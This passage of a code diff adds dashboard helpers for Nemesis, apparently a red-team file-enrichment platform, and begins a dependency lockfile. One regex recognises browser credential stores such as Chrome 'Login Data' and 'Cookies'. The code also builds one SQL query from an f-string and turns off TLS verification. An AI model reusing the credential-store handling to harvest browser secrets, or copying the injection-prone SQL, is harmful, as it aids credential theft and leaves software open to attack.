key_type: + query += f"WHERE type = '{key_type}'" + cur.execute(query) + return cur.fetchone()[0] + except Exception as e: + print(f"Exception: {e}") + return -1 + + +def postgres_file_search( + start: datetime.datetime, + end: datetime.datetime, + from_i: int = 0, + size: int = 8, + source: str = "%", + project_id: str = "%", + file_hash: str = "", + path_pattern: str = "", + notes_pattern: str = "", + tags: List[str] = [], + show_triaged: bool = False, + show_archive_originated: bool = False, + order_desc_timestamp: bool = False, +) -> Tuple: + """ + Searches the nemesis.file_data_enriched table for paginated results given + the supplied search parameters. + + TODO: timestamp filtering? + """ + + # query for our count, based in the filters + query_count = """ + SELECT COUNT(*) + + FROM file_data_enriched + + LEFT JOIN triage + ON file_data_enriched.unique_db_id = triage.unique_db_id + + LEFT JOIN notes + ON file_data_enriched.unique_db_id = notes.unique_db_id + AND notes.value ILIKE :notes + + WHERE file_data_enriched.source ILIKE :source + AND file_data_enriched.project_id ILIKE :project_id + """ + + # actual data query + query = """ + SELECT file_data_enriched.project_id as project_id, + file_data_enriched.source as source, + file_data_enriched.timestamp as timestamp, + file_data_enriched.unique_db_id::varchar, + file_data_enriched.agent_id as agent_id, + file_data_enriched.object_id::varchar as object_id, + file_data_enriched.path as path, + file_data_enriched.name as name, + file_data_enriched.size as size, + file_data_enriched.md5 as md5, + file_data_enriched.sha1 as sha1, + file_data_enriched.sha256 as sha256, + file_data_enriched.nemesis_file_type as nemesis_file_type, + file_data_enriched.magic_type as magic_type, + file_data_enriched.converted_pdf_id::varchar as converted_pdf_id, + file_data_enriched.extracted_plaintext_id::varchar as extracted_plaintext_id, + file_data_enriched.extracted_source_id::varchar as extracted_source_id, + file_data_enriched.tags as tags, + file_data_enriched.originating_object_id as originating_object_id, + triage.value as triage, + triage.unique_db_id as triage_unique_db_id, + notes.value as notes + + FROM file_data_enriched + + LEFT JOIN triage + ON file_data_enriched.unique_db_id = triage.unique_db_id + + LEFT JOIN notes + ON file_data_enriched.unique_db_id = notes.unique_db_id + AND notes.value ILIKE :notes + + WHERE source ILIKE :source + AND project_id ILIKE :project_id + AND timestamp >= :start AND timestamp < :end + """ + if path_pattern: + query_count += "\n AND path ILIKE :path" + query += "\n AND path ILIKE :path" + if file_hash: + query_count += "\n AND (file_data_enriched.md5 ILIKE :md5 OR file_data_enriched.sha1 ILIKE :sha1 OR file_data_enriched.sha256 ILIKE :sha256)" + query += "\n AND (md5 ILIKE :md5 OR sha1 ILIKE :sha1 OR sha256 ILIKE :sha256)" + if tags: + for i in range(len(tags)): + query_count += f"\n AND :tag_{i} = ANY(file_data_enriched.tags)" + query += f"\n AND :tag_{i} = ANY(file_data_enriched.tags)" + if not show_triaged: + query_count += "\n AND triage.value IS NULL" + query += "\n AND triage.value IS NULL" + if not show_archive_originated: + query_count += "\n AND originating_object_id = '00000000-0000-0000-0000-000000000000'" + query += "\n AND originating_object_id = '00000000-0000-0000-0000-000000000000'" + if notes_pattern: + query_count += "\n AND notes.value ILIKE :notes" + query += "\n AND notes.value ILIKE :notes" + + if order_desc_timestamp: + query += "\n ORDER BY timestamp DESC" + + # add in the pagination + query += "\n LIMIT :size OFFSET :from_i" + + try: + with engine.connect() as conn: + params = { + "start": start, + "end": end, + "source": source, + "project_id": project_id, + "path": path_pattern, + "notes": f"%{notes_pattern}%", + "md5": file_hash, + "sha1": file_hash, + "sha256": file_hash, + "size": size, + "from_i": from_i, + } + + # have to dynamically build this because of how we have to search + # through arrays in postgres + for i in range(len(tags)): + params[f"tag_{i}"] = tags[i] + + total_hits = pd.read_sql_query(sql_text(query_count), conn, params=params)["count"].iloc[0] + df = pd.read_sql_query(sql_text(query), conn, params=params) + return (total_hits, df) + except Exception as e: + st.error(f"Error retrieving `file_data_enriched` from the database: {e}", icon="🚨") + return (None, None) + + +###################################################### +# +# Common Authentication/Header Helpers +# +###################################################### + + +# cache the data so we don't have to bcrypt every time +@st.cache_data +def get_credentials() -> dict: + """Returns the credential dictionary needed by stauth.Authenticate()""" + hashed_password = bcrypt.hashpw(DASHBOARD_PASSWORD.encode(), bcrypt.gensalt()).decode() + credentials = { + "usernames": {DASHBOARD_USER: {"email": f"{DASHBOARD_USER}@nemesis.local", "name": DASHBOARD_USER, "password": hashed_password}} + } + return credentials + + +def header() -> str: + """Writes out the logo/auth header/etc. for all pages.""" + + st.set_page_config( + layout="wide", + page_title="Nemesis", + page_icon="đź", + menu_items={ + "Get Help": "https://www.github.com/SpecterOps/Nemesis" + } + ) + + st.markdown( + """ + + """, + unsafe_allow_html=True, + ) + + st.image("./img/nemesis_logo.png", width=300) + + # hack to hide the default Streamlit footer + hide_streamlit_style = """ + + """ + st.markdown(hide_streamlit_style, unsafe_allow_html=True) + + # force authentication + return authenticate_header() + + +def authenticate_header() -> str: + """ + Reads in the necessary authentication information and checks the state + versus the current user's cookies. Used at the top of every page. + """ + + authenticator = stauth.Authenticate(get_credentials(), "nemesis", "nemesis", 30) + + name, authentication_status, username = authenticator.login("Login", "main") + + if st.session_state["authentication_status"]: + # st.write(f"Welcome *{name}* :smiling_imp:") + # authenticator.logout("Logout", "main") + return name + elif st.session_state["authentication_status"] is False: + st.error("Username/password is incorrect") + return "" + elif st.session_state["authentication_status"] is None: + st.warning("Please enter your username and password") + return "" + + +###################################################### +# +# Elasticsearch Helpers +# +###################################################### + + +def simplify_es_text_result(result: dict) -> dict: + """Simplifies an elastic result into the three parts we want to use.""" + res = result["_source"] + res["url"] = result["_id"] + # join list of highlights into a sentence + res["highlights"] = "...".join(result["highlight"]["text"]) + return res + + +def wait_for_elasticsearch(): + """ + Wait for a connection to be established with Nemesis' Elasticsearch container, + and return the es_client object when a connection is established. + """ + + while True: + try: + es_client = Elasticsearch(ELASTICSEARCH_URL, basic_auth=(ELASTICSEARCH_USER, ELASTICSEARCH_PASSWORD), verify_certs=False) + es_client.info() + return es_client + except Exception: + print( + "Encountered an exception while trying to connect to Elasticsearch %s, trying again in %s seconds...", + ELASTICSEARCH_URL, + WAIT_TIMEOUT, + ) + time.sleep(WAIT_TIMEOUT) + continue + + +def get_elastic_total_indexed_documents(index_name="file_data_plaintext", query={}) -> int: + """ + Returns the total number of documents indexed in the specified index. + """ + try: + es_client = wait_for_elasticsearch() + if query: + return es_client.count(index=index_name, query=query)["count"] + else: + return es_client.count(index=index_name)["count"] + except Exception as e: + return 0 + + +def elastic_text_search(search_term: str, from_i: int, size: int) -> dict: + """ + Searches the 'file_data_plaintext' index in Elasticsearch for + the supplied search term, paginating results based on the + from_i and size. + """ + try: + es_client = wait_for_elasticsearch() + query = {"match": {"text": search_term}} + highlight = {"pre_tags": [""], "post_tags": [""], "fields": {"text": {}}} + fields = [ + "_id", + "originatingObjectPath", + "originatingObjectURL", + "originatingObjectId", + "originatingObjectConvertedPdfUrl", + "wordCount", + "metadata.source", + ] + return es_client.search( + index="file_data_plaintext", query=query, highlight=highlight, from_=from_i, size=size, source_includes=fields + ) + except Exception as e: + if "index_not_found_exception" in f"{e}": + st.error("Elastic index 'file_data_plaintext' doesn't yet exist - no text data has been extracted yet!", icon="🚨") + else: + st.error(f"Exception querying Elastic: {e}", icon="🚨") + return {} + + +def elastic_sourcecode_search(search_term: str, from_i: int, size: int) -> dict: + """ + Searches the 'file_data_sourcecode' index in Elasticsearch for + the supplied search term, paginating results based on the + from_i and size. + """ + try: + es_client = wait_for_elasticsearch() + query = {"match": {"text": search_term}} + highlight = {"pre_tags": [""], "post_tags": [""], "fields": {"text": {}}} + fields = [ + "_id", + "downloadURL", + "fileObjectURL", + "extension", + "language", + "name", + "path", + "size", + "metadata.source", + ] + return es_client.search( + index="file_data_sourcecode", query=query, highlight=highlight, from_=from_i, size=size, source_includes=fields + ) + except Exception as e: + if "index_not_found_exception" in f"{e}": + st.error("Elastic index 'file_data_sourcecode' doesn't yet exist - no source code files have been downloaded yet!", icon="🚨") + else: + st.error(f"Exception querying Elastic: {e}", icon="🚨") + return {} + + +def elastic_np_search(from_i: int, size: int) -> dict: + """ + Searches the 'file_data_enriched' index in Elasticsearch for + any files that have NoseyParker results, paginating results based + on the from_i and size. + """ + try: + es_client = wait_for_elasticsearch() + query = {"exists": {"field": "noseyparker"}} + fields = ["objectId", "name", "magicType", "path", "nemesisFileType", "hashes.sha1", "metadata.source", "noseyparker"] + return es_client.search(index="file_data_enriched", query=query, from_=from_i, size=size, source_includes=fields) + except Exception as e: + if "index_not_found_exception" in f"{e}": + st.error("Elastic index 'file_data_enriched' doesn't yet exist - no files have been processed yet!", icon="🚨") + else: + st.error(f"Exception querying Elastic: {e}", icon="🚨") + return {} + + +###################################################### +# +# Misc. Helpers +# +###################################################### + +def is_valid_chromium_file_path(file_path: str) -> bool: + """Returns true if the supplied path is a valid Chromium file path.""" + + if re.search( + ".*/(?P.*)/AppData/Local/(Google|Microsoft|BraveSoftware)/(?PChrome|Edge|Brave-Browser)/User Data/(?PLocal State|Default/History|Default/Login Data|Default/Cookies|Default/Network/Cookies)$", + file_path, + re.IGNORECASE + ): + return True + elif re.search( + ".*/(?P.*)/AppData/Roaming/Opera Software/Opera Stable/(?PLocal State|History|Login Data|Cookies|Network/Cookies)$", + file_path, + re.IGNORECASE + ): + return True + else: + return False + + +def escape_markdown(text: str) -> str: + """Basic helper to escape markdown specicial characters.""" + parse = re.sub(r"([_*\[\]()~`>\#\+\-=|\.!])", r"\\\1", text) + reparse = re.sub(r"\\\\([_*\[\]()~`>\#\+\-=|\.!])", r"\1", parse) + return reparse + + +def local_css(file_name): + with open(file_name) as f: + st.markdown(f"", unsafe_allow_html=True) + + +def remote_css(url): + st.markdown(f'', unsafe_allow_html=True) + + +def nemesis_post_file(file_bytes): + """ + Takes a series of raw file bytes and POSTs it to the NEMESIS_API_URL /file API endpoint. + """ + try: + r = requests.request("POST", f"{NEMESIS_API_URL}file", data=file_bytes, headers={"Content-Type": "application/octet-stream"}) + + if r.status_code != 200: + st.warning(f"Failed to upload file to Nemesis: {r.status_code}", icon="⚠️") + return None + else: + json_result = r.json() + if "object_id" in json_result: + return json_result["object_id"] + else: + st.warning(f"Error retrieving 'object_id' field from result", icon="⚠️") + return None + except Exception as e: + st.warning(f"Failed to upload file to Nemesis: {e}", icon="⚠️") + return None + + +def nemesis_post_data(data): + """ + Takes a json blob and POSTs it to the NEMESIS_API_URL /data API endpoint. + """ + try: + r = requests.post(f"{NEMESIS_API_URL}data", json=data) + if r.status_code != 200: + st.warning(f"Error posting to Nemesis URL {NEMESIS_API_URL}data ({r.status_code}) : {r.json()}", icon="⚠️") + return None + else: + json_result = r.json() + if "object_id" in json_result: + return json_result["object_id"] + else: + st.warning(f"Error retrieving 'object_id' field from result", icon="⚠️") + return None + except Exception as e: + st.warning(f"Error posting to Nemesis URL {NEMESIS_API_URL}data : {e}", icon="⚠️") + return None diff --git a/cmd/dashboard/poetry.lock b/cmd/dashboard/poetry.lock new file mode 100644 index 0000000..f80b803 --- /dev/null +++ b/cmd/dashboard/poetry.lock @@ -0,0 +1,2382 @@ +# This file is automatically @generated by Poetry and should not be changed by hand. + +[[package]] +name = "altair" +version = "5.0.1" +description = "Vega-Altair: A declarative statistical visualization library for Python." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "altair-5.0.1-py3-none-any.whl", hash = "sha256:9f3552ed5497d4dfc14cf48a76141d8c29ee56eae2873481b4b28134268c9bbe"}, + {file = "altair-5.0.1.tar.gz", hash = "sha256:087d7033cb2d6c228493a053e12613058a5d47faf6a36aea3ff60305fd8b4cb0"}, +] + +[package.dependencies] +jinja2 = "*" +jsonschema = ">=3.0" +numpy = "*" +pandas = ">=0.18" +toolz = "*" + +[package.extras] +dev = ["black (<24)", "hatch", "ipython", "m2r", "mypy", "pandas-stubs", "pytest", "pytest-cov", "ruff", "types-jsonschema", "types-setuptools", "vega-datasets", "vl-convert-python"] +doc = ["docutils", "geopandas", "jinja2", "myst-parser", "numpydoc", "pillow", "pydata-sphinx-theme", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinxext-altair"] + +[[package]] +name = "attrs" +version = "23.1.0" +description = "Classes Without Boilerplate" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "attrs-23.1.0-py3-none-any.whl", hash = "sha256:1f28b4522cdc2fb4256ac1a020c78acf9cba2c6b461ccd2c126f3aa8e8335d04"}, + {file = "attrs-23.1.0.tar.gz", hash = "sha256:6279836d581513a26f1bf235f9acd333bc9115683f14f7e8fae46c98fc50e015"}, +] + +[package.extras] +cov = ["attrs[tests]", "coverage[toml] (>=5.3)"] +dev = ["attrs[docs,tests]", "pre-commit"] +docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier", "zope-interface"] +tests = ["attrs[tests-no-zope]", "zope-interface"] +tests-no-zope = ["cloudpickle", "hypothesis", "mypy (>=1.1.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] + +[[package]] +name = "bcrypt" +version = "4.0.1" +description = "Modern password hashing for your software and your servers" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "bcrypt-4.0.1-cp36-abi3-macosx_10_10_universal2.whl", hash = "sha256:b1023030aec778185a6c16cf70f359cbb6e0c289fd564a7cfa29e727a1c38f8f"}, + {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:08d2947c490093a11416df18043c27abe3921558d2c03e2076ccb28a116cb6d0"}, + {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0eaa47d4661c326bfc9d08d16debbc4edf78778e6aaba29c1bc7ce67214d4410"}, + {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ae88eca3024bb34bb3430f964beab71226e761f51b912de5133470b649d82344"}, + {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_24_x86_64.whl", hash = "sha256:a522427293d77e1c29e303fc282e2d71864579527a04ddcfda6d4f8396c6c36a"}, + {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:fbdaec13c5105f0c4e5c52614d04f0bca5f5af007910daa8b6b12095edaa67b3"}, + {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:ca3204d00d3cb2dfed07f2d74a25f12fc12f73e606fcaa6975d1f7ae69cacbb2"}, + {file = "bcrypt-4.0.1-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:089098effa1bc35dc055366740a067a2fc76987e8ec75349eb9484061c54f535"}, + {file = "bcrypt-4.0.1-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:e9a51bbfe7e9802b5f3508687758b564069ba937748ad7b9e890086290d2f79e"}, + {file = "bcrypt-4.0.1-cp36-abi3-win32.whl", hash = "sha256:2caffdae059e06ac23fce178d31b4a702f2a3264c20bfb5ff541b338194d8fab"}, + {file = "bcrypt-4.0.1-cp36-abi3-win_amd64.whl", hash = "sha256:8a68f4341daf7522fe8d73874de8906f3a339048ba406be6ddc1b3ccb16fc0d9"}, + {file = "bcrypt-4.0.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf4fa8b2ca74381bb5442c089350f09a3f17797829d958fad058d6e44d9eb83c"}, + {file = "bcrypt-4.0.1-pp37-pypy37_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:67a97e1c405b24f19d08890e7ae0c4f7ce1e56a712a016746c8b2d7732d65d4b"}, + {file = "bcrypt-4.0.1-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:b3b85202d95dd568efcb35b53936c5e3b3600c7cdcc6115ba461df3a8e89f38d"}, + {file = "bcrypt-4.0.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cbb03eec97496166b704ed663a53680ab57c5084b2fc98ef23291987b525cb7d"}, + {file = "bcrypt-4.0.1-pp38-pypy38_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:5ad4d32a28b80c5fa6671ccfb43676e8c1cc232887759d1cd7b6f56ea4355215"}, + {file = "bcrypt-4.0.1-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:b57adba8a1444faf784394de3436233728a1ecaeb6e07e8c22c8848f179b893c"}, + {file = "bcrypt-4.0.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:705b2cea8a9ed3d55b4491887ceadb0106acf7c6387699fca771af56b1cdeeda"}, + {file = "bcrypt-4.0.1-pp39-pypy39_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:2b3ac11cf45161628f1f3733263e63194f22664bf4d0c0f3ab34099c02134665"}, + {file = "bcrypt-4.0.1-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:3100851841186c25f127731b9fa11909ab7b1df6fc4b9f8353f4f1fd952fbf71"}, + {file = "bcrypt-4.0.1.tar.gz", hash = "sha256:27d375903ac8261cfe4047f6709d16f7d18d39b1ec92aaf72af989552a650ebd"}, +] + +[package.extras] +tests = ["pytest (>=3.2.1,!=3.3.0)"] +typecheck = ["mypy"] + +[[package]] +name = "beautifulsoup4" +version = "4.12.2" +description = "Screen-scraping library" +category = "main" +optional = false +python-versions = ">=3.6.0" +files = [ + {file = "beautifulsoup4-4.12.2-py3-none-any.whl", hash = "sha256:bd2520ca0d9d7d12694a53d44ac482d181b4ec1888909b035a3dbf40d0f57d4a"}, + {file = "beautifulsoup4-4.12.2.tar.gz", hash = "sha256:492bbc69dca35d12daac71c4db1bfff0c876c00ef4a2ffacce226d4638eb72da"}, +] + +[package.dependencies] +soupsieve = ">1.2" + +[package.extras] +html5lib = ["html5lib"] +lxml = ["lxml"] + +[[package]] +name = "blinker" +version = "1.6.2" +description = "Fast, simple object-to-object and broadcast signaling" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "blinker-1.6.2-py3-none-any.whl", hash = "sha256:c3d739772abb7bc2860abf5f2ec284223d9ad5c76da018234f6f50d6f31ab1f0"}, + {file = "blinker-1.6.2.tar.gz", hash = "sha256:4afd3de66ef3a9f8067559fb7a1cbe555c17dcbe15971b05d1b625c3e7abe213"}, +] + +[[package]] +name = "cachetools" +version = "5.3.1" +description = "Extensible memoizing collections and decorators" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "cachetools-5.3.1-py3-none-any.whl", hash = "sha256:95ef631eeaea14ba2e36f06437f36463aac3a096799e876ee55e5cdccb102590"}, + {file = "cachetools-5.3.1.tar.gz", hash = "sha256:dce83f2d9b4e1f732a8cd44af8e8fab2dbe46201467fc98b3ef8f269092bf62b"}, +] + +[[package]] +name = "certifi" +version = "2023.5.7" +description = "Python package for providing Mozilla's CA Bundle." +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "certifi-2023.5.7-py3-none-any.whl", hash = "sha256:c6c2e98f5c7869efca1f8916fed228dd91539f9f1b444c314c06eef02980c716"}, + {file = "certifi-2023.5.7.tar.gz", hash = "sha256:0f0d56dc5a6ad56fd4ba36484d6cc34451e1c6548c61daad8c320169f91eddc7"}, +] + +[[package]] +name = "cffi" +version = "1.15.1" +description = "Foreign Function Interface for Python calling C code." +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "cffi-1.15.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2"}, + {file = "cffi-1.15.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2"}, + {file = "cffi-1.15.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914"}, + {file = "cffi-1.15.1-cp27-cp27m-win32.whl", hash = "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3"}, + {file = "cffi-1.15.1-cp27-cp27m-win_amd64.whl", hash = "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e"}, + {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162"}, + {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b"}, + {file = "cffi-1.15.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21"}, + {file = "cffi-1.15.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4"}, + {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01"}, + {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e"}, + {file = "cffi-1.15.1-cp310-cp310-win32.whl", hash = "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2"}, + {file = "cffi-1.15.1-cp310-cp310-win_amd64.whl", hash = "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d"}, + {file = "cffi-1.15.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac"}, + {file = "cffi-1.15.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c"}, + {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef"}, + {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8"}, + {file = "cffi-1.15.1-cp311-cp311-win32.whl", hash = "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d"}, + {file = "cffi-1.15.1-cp311-cp311-win_amd64.whl", hash = "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104"}, + {file = "cffi-1.15.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e"}, + {file = "cffi-1.15.1-cp36-cp36m-win32.whl", hash = "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf"}, + {file = "cffi-1.15.1-cp36-cp36m-win_amd64.whl", hash = "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497"}, + {file = "cffi-1.15.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426"}, + {file = "cffi-1.15.1-cp37-cp37m-win32.whl", hash = "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9"}, + {file = "cffi-1.15.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045"}, + {file = "cffi-1.15.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192"}, + {file = "cffi-1.15.1-cp38-cp38-win32.whl", hash = "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314"}, + {file = "cffi-1.15.1-cp38-cp38-win_amd64.whl", hash = "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5"}, + {file = "cffi-1.15.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585"}, + {file = "cffi-1.15.1-cp39-cp39-macosx_11_0_arm64.whl", hash = 